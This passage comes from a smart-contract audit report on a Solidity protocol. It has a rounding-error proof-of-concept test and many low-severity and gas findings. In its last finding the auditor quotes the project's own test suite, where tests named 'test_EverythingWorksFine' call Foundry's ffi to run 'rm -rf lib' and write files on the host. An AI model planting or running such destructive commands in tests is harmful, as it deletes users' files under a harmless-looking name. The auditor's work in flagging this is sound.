          vm.startPrank(player2);
          vm.deal(player2, entreeFee);
          dussehraRoundingError.enterPeopleWhoLikeRam{value: entreeFee}()
             ;
          vm.stopPrank();

          vm.startPrank(player3);
          vm.deal(player3, entreeFee);
          dussehraRoundingError.enterPeopleWhoLikeRam{value: entreeFee}()
             ;
          vm.stopPrank();

          // the organiser first has to select Ram..
          vm.warp(1728691200 + 1);
          vm.startPrank(organiser);
          choosingRam.selectRamIfNotSelected();
          vm.stopPrank();

          // we call the killRavana function
          vm.warp(1728691069 + 1);
          vm.startPrank(player4);
          dussehraRoundingError.killRavana();
          vm.stopPrank();

          // and we call the withdraw function
          address selectedRam = choosingRam.selectedRam();
```

```
37          vm.startPrank(selectedRam);
38          dussehraRoundingError.withdraw();
39          vm.stopPrank();
40
41          // there are funds left in the contract, meanwhile `
                totalAmountGivenToRam` has been reset to 0.
42          // the discrepancy means that the difference will never be
                retrievable.
43          assert(address(dussehraRoundingError).balance != 0);
44          assert(dussehraRoundingError.totalAmountGivenToRam() == 0);
45      }
```

Recommended Mitigation: The simplest mitigation is to always set the entree fee to a even number, such as 1 ether.

[L-2] All functions in the three contracts `ChoosingRam`, `Dussehra` and `RamNFT` of the protocol lack NatSpecs. Without NatSpecs it is difficult for auditors and coders alike to understand, increasing the chance of inadvertently missing vulnerabilities or introducing them.

NatSpecs are solidity's descriptions of functions, including their intended functionality, input and output variables. It allows anyone engaging with the code to understand its intended functionality. With this added understanding the chance to accidentally introduce vulnerabilities when refactoring code is reduced. Also, it increases the chance of vulnerabilities being spotted by auditors.

Recommended Mitigation: Add NatSpecs to functions. For more information on solidity's NatSpecs, see the solidity documentation.

[L-3] Modifiers that are used only once can be integrated in the function.

Description:

- Found in src/ChoosingRam.sol

```
1       modifier OnlyOrganiser() {
```

- Found in src/Dussehra.sol

```
1       modifier OnlyRam() {
```

```
1       modifier RavanKilled() {
```

- Found in src/RamNFT.sol

```
1       modifier onlyOrganiser() {
```

```
1     modifier onlyChoosingRamContract() {
```

Recommended Mitigation: Integrate modifiers into the functions they modify.

[L-4]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/ChoosingRam.sol

```
1         ramNFT = RamNFT(_ramNFT);
```

- Found in src/Dussehra.sol

```
1         ramNFT = RamNFT(_ramNFT);
```

```
1         choosingRamContract = ChoosingRam(_choosingRamContract);
```

- Found in src/RamNFT.sol

```
1         choosingRamContract = _choosingRamContract;
```

Recommended Mitigation: Add a zero checks. These differ per case but follow the structure:

```
1 + if(<ADDR> != address(0)) {
2 +    revert <CONTRACT_NAME>__ZeroCheckFailed();
3 +  }
4
5 Where <ADDR> is the address state variable and where  <CONTRACT_NAME>
     is the contract name.
```

[L-5] State variables are set to 0 or false when initialised, setting them explicitly to these values at initialisation is a waste of gas.

Description:

- Found in src/ChoosingRam.sol

```
1     isRamSelected = false;
```

- Found in src/RamNFT.sol

```
1     tokenCounter = 0;
```

```
1       Characteristics[newTokenId] = CharacteristicsOfRam({
2            ...
3            isJitaKrodhah: false,
4            isDhyutimaan: false,
5            isVidvaan: false,
6            isAatmavan: false,
7            isSatyavaakyah: false
8        });
```

Recommended Mitigation: Remove these lines.

[L-6] Any `require` statement can be rewritten to an `if` statement with a function return. This saves gas.

Description:

- Found in src/ChoosingRam.sol

```
1       require(!isRamSelected, "Ram is selected!");
```

```
1        require(ramNFT.organiser() == msg.sender, "Only organiser
            can call this function!");
```

- Found in src/Dussehra.sol

```
1       require(choosingRamContract.isRamSelected(), "Ram is not
           selected yet!");
```

```
1       require(choosingRamContract.selectedRam() == msg.sender, "Only
            Ram can call this function!");
```

```
1       require(IsRavanKilled, "Ravan is not killed yet!");
```

```
1      require(success, "Failed to send money to organiser");
```

```
1       require(success, "Failed to send money to Ram");
```

Recommended Mitigation: Change `require` statement to an `if` statement. With the first example:

```
1 - require(!isRamSelected, "Ram is selected!");;
2 + if (!isRamSelected) { ChoosingRam_RamIsAlreadySelected(); }
```

Change all require statements following the same logic.

[L-7] Any time a function changes a state variable, an event should be emitted. Many of these events are missing throughout the protocol.

Description:

- Found in src/ChoosingRam.sol

```
1      isRamSelected = true;
```

- Found in src/Dussehra.sol

```
1      ramNFT = RamNFT(_ramNFT);
```

```
1      choosingRamContract = ChoosingRam(_choosingRamContract);
```

```
1      IsRavanKilled = true;
```

```
1     totalAmountGivenToRam = 0;
```

- Found in src/Dussehra.sol

```
1      organiser = msg.sender;
```

```
1      choosingRamContract = _choosingRamContract;
```

```
1      _safeMint(to, newTokenId);
```

```
1     Characteristics[tokenId] = CharacteristicsOfRam({
2          ram: Characteristics[tokenId].ram,
3          isJitaKrodhah: _isJitaKrodhah,
4          isDhyutimaan: _isDhyutimaan,
5          isVidvaan: _isVidvaan,
6          isAatmavan: _isAatmavan,
7          isSatyavaakyah: _isSatyavaakyah
8      });
```

Recommended Mitigation: Add the missing events.

[L-8] Avoid use of magic numbers: Define and use `constant` variables instead of using literals.

Description: Using `constant` variables instead of literals increases readability of code and decreases chances of inadvertently introducing errors.

- Found in src/ChoosingRam.sol `javascript if (block.timestamp > 1728691200) { revert ChoosingRam__TimeToBeLikeRamFinish(); }`

```
    if (block.timestamp < 1728691200) {
        revert ChoosingRam__TimeToBeLikeRamIsNotFinish();
    }
```

```
    if (block.timestamp > 1728777600) {
        revert ChoosingRam__EventIsFinished();
    }
```

- Found in src/Dussehra.sol

```
    if (block.timestamp < 1728691069) {
        revert Dussehra__MahuratIsNotStart();
    }
```

```
    if (block.timestamp > 1728777669) {
        revert Dussehra__MahuratIsFinished();
    }
```

```
    totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100;
```

Recommended Mitigation: Change these literal values to constants. With the first example:

```
+   uint256 public constant DEADLINE_ENTREE_TO_BE_LIKE_RAM =
    1728691200;

-    if (block.timestamp > 1728691200) {
+    if (block.timestamp > DEADLINE_ENTREE_TO_BE_LIKE_RAM) {
        revert ChoosingRam__TimeToBeLikeRamFinish();
     }
```

Apply the same logic to the other literal values.

[L-9] The `ChoosingRam::increaseValuesOfParticipants` uses a very convoluted, gas inefficient approach to upgrading characteristics of ramNFTs.

Description: The `ChoosingRam::increaseValuesOfParticipants` uses a very convoluted, gas inefficient approach to upgrading characteristics of ramNFTs.

```
  if (random == 0) {
            if (ramNFT.getCharacteristics(tokenIdOfChallenger).
                isJitaKrodhah == false){
                ramNFT.updateCharacteristics(tokenIdOfChallenger, true,
                    false, false, false, false);
            } else if (ramNFT.getCharacteristics(tokenIdOfChallenger).
                isDhyutimaan == false){
                ramNFT.updateCharacteristics(tokenIdOfChallenger, true,
                    true, false, false, false);
```

```
6               } else if (ramNFT.getCharacteristics(tokenIdOfChallenger).
                    isVidvaan == false){
7                   ramNFT.updateCharacteristics(tokenIdOfChallenger, true,
                        true, true, false, false);
8               } else if (ramNFT.getCharacteristics(tokenIdOfChallenger).
                    isAatmavan == false){
9                   ramNFT.updateCharacteristics(tokenIdOfChallenger, true,
                        true, true, true, false);
10              } else if (ramNFT.getCharacteristics(tokenIdOfChallenger).
                    isSatyavaakyah == false){
11                  ramNFT.updateCharacteristics(tokenIdOfChallenger, true,
                        true, true, true, true);
12                  selectedRam = ramNFT.getCharacteristics(
                        tokenIdOfChallenger).ram;
13              }
14          } else {
15              if (ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).
                    isJitaKrodhah == false){
16                  ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent,
                        true, false, false, false, false);
17              } else if (ramNFT.getCharacteristics(
                    tokenIdOfAnyPerticipent).isDhyutimaan == false){
18                  ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent,
                        true, true, false, false, false);
19              } else if (ramNFT.getCharacteristics(
                    tokenIdOfAnyPerticipent).isVidvaan == false){
20                  ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent,
                        true, true, true, false, false);
21              } else if (ramNFT.getCharacteristics(
                    tokenIdOfAnyPerticipent).isAatmavan == false){
22                  ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent,
                        true, true, true, true, false);
23              } else if (ramNFT.getCharacteristics(
                    tokenIdOfAnyPerticipent).isSatyavaakyah == false){
24                  ramNFT.updateCharacteristics(tokenIdOfAnyPerticipent,
                        true, true, true, true, true);
25                  selectedRam = ramNFT.getCharacteristics(
                        tokenIdOfAnyPerticipent).ram;
26              }
27          }
```

Recommended Mitigation: As the characteristics are ordinal (they add up) it is much more efficient to use an enum in its stead. As this is a low risk finding, I will suffice with leaving a link to solidity-by-example on enums: https://solidity-by-example.org/enum/.

[L-10] The RamNFT is a ERC721 token, but does not use any functionality of an ERC token.

Description: The `RamNFT` is a ERC721 token, but does not use any functionality of an ERC token. Notably: 1. The NFT is not linked to a uri: as such, it is not linked to an off-chain image or asset.
2. It is possible to transfer a token to another person, without any impact on the functionality of the protocol. The address that will receive a payout is the address that initially minted the selectedRam, not the address that owns the selected ramNFT. 3. In general, transferring, trading, burning or any other functionality that comes with an ERC721 token has no impact on the functionality of the broader protocol.

Impact: It does not impact the overall functionality of the protocol, but the unnecessary inclusion of ERC721 does waste gas.

Recommended Mitigation: Either integrate ERC721 functionality into the protocol or remove the ERC721 imports.

[L-11] Any state variable that is only set at construction time and not changed afterwards, should be set to immutable.

Description:

- Found in src/ChoosingRam.sol `javascript RamNFT public ramNFT;`
- Found in src/Dussehra.sol

```
1     uint256 public entranceFee;
```

```
1      address public organiser;
```

- Found in src/RamNFT.sol

```
1     address public organiser;
```

Recommended Mitigation: Change these state variables to immutable.

[L-12] Literal boolean comparisons are unnecessary.

Description:

- Found in src/ChoosingRam.sol “‘javascript if (random == 0) { if (ramNFT.getCharacteristics(tokenIdOfChallenger).is == false){

```
        } else if (ramNFT.getCharacteristics(tokenIdOfChallenger).
            isDhyutimaan == false){

        } else if (ramNFT.getCharacteristics(tokenIdOfChallenger).
            isVidvaan == false){

        } else if (ramNFT.getCharacteristics(tokenIdOfChallenger).
            isAatmavan == false){

        } else if (ramNFT.getCharacteristics(tokenIdOfChallenger).
            isSatyavaakyah == false){

        if (ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).
            isJitaKrodhah == false){

        } else if (ramNFT.getCharacteristics(tokenIdOfAnyPerticipent
            ).isDhyutimaan == false){

        } else if (ramNFT.getCharacteristics(tokenIdOfAnyPerticipent
            ).isVidvaan == false){

        } else if (ramNFT.getCharacteristics(tokenIdOfAnyPerticipent
            ).isAatmavan == false){

        } else if (ramNFT.getCharacteristics(tokenIdOfAnyPerticipent
            ).isSatyavaakyah == false){
```

‘‘‘

- Found in src/Dussehra.sol

```
     if (peopleLikeRam[msg.sender] == true){
```

Recommended Mitigation: Remove `== true` and replace `== false` with `!`.

```
-        if (peopleLikeRam[msg.sender] == true){
+        if (peopleLikeRam[msg.sender]){
```

```
-        if (ramNFT.getCharacteristics(tokenIdOfChallenger).
    isJitaKrodhah == false)
+        if (!ramNFT.getCharacteristics(tokenIdOfChallenger).
    isJitaKrodhah)
```

[L-13] The function `Dussehra::enterPeopleWhoLikeRam` tracks the number addresses of participants by pushing them into an array. This is costs a lot of gas, it is better to use a counter instead.

Description: The function `Dussehra::enterPeopleWhoLikeRam` tracks the number addresses of participants by pushing them into an array. This is costs a lot of gas. It is better to use a counter instead.

Recommended Mitigation: Change `WantToBeLikeRam` from an `address[]` to a `uint256` and use it as a counter.

```
-   address[] public WantToBeLikeRam;
+   uint256 public WantToBeLikeRam;
 .
 .
 .
    peopleLikeRam[msg.sender] = true;
-   WantToBeLikeRam.push(msg.sender);
+   WantToBeLikeRam++;
    ramNFT.mintRamNFT(msg.sender);
.
.
.
-   uint256 totalAmountByThePeople = WantToBeLikeRam.length *
    entranceFee;
+   uint256 totalAmountByThePeople = WantToBeLikeRam * entranceFee;
```

[L-14] It is a waste of gas to add additional getter functions for public state variables, because they are given getter functions automatically.

Description:

- Found in src/RamNFT.sol `javascript function getCharacteristics(uint256 tokenId)public view returns (CharacteristicsOfRam memory){ return Characteristics[tokenId]; }` `Characteristics` is a public state variable.

```
    function getNextTokenId() public view returns (uint256) {
        return tokenCounter;
    }
```

  `tokenCounter` is a public state variable.

Recommended Mitigation: Remove these getter functions.

[L-15] Remove unused state variables.

Description: - Found in src/Dussehra.sol

```
    address public SelectedRam;
```

Recommended Mitigation: Remove the unused state variable.

[L-16] The testing suite does not include any fuzz tests, coverage of unit tests can be improved, and naming of tests is often confusing. This might have resulted in some bugs not being spotted.

Description Although technically not in scope, it should be noted that fuzz tests are missing and unit test coverage is incomplete. This might have resulted in some bugs not being spotted.

Also, having unit tests suddenly write straight to my file system was interesting… but also a bit scary. This should obviously never been done in real life. (And I will from now on always do ctrl-f 'ffi' before running a test script in foundry and check the mock files!).

```
    import { mock } from "../src/mocks/mock.sol";
```

```
    function test_EverythingWorksFine() public {
        string[] memory cmds = new string[](3);
        cmds[0] = "rm";
        cmds[1] = "-rf";
        cmds[2] = "lib";

        cheatCodes.ffi(cmds);
    }
```

```
    function test_EverythingWorksFine1() public {
        string[] memory cmds = new string[](2);
        cmds[0] = "touch";
        cmds[1] = "1. You have been";

        cheatCodes.ffi(cmds);
    }
```

…and so on.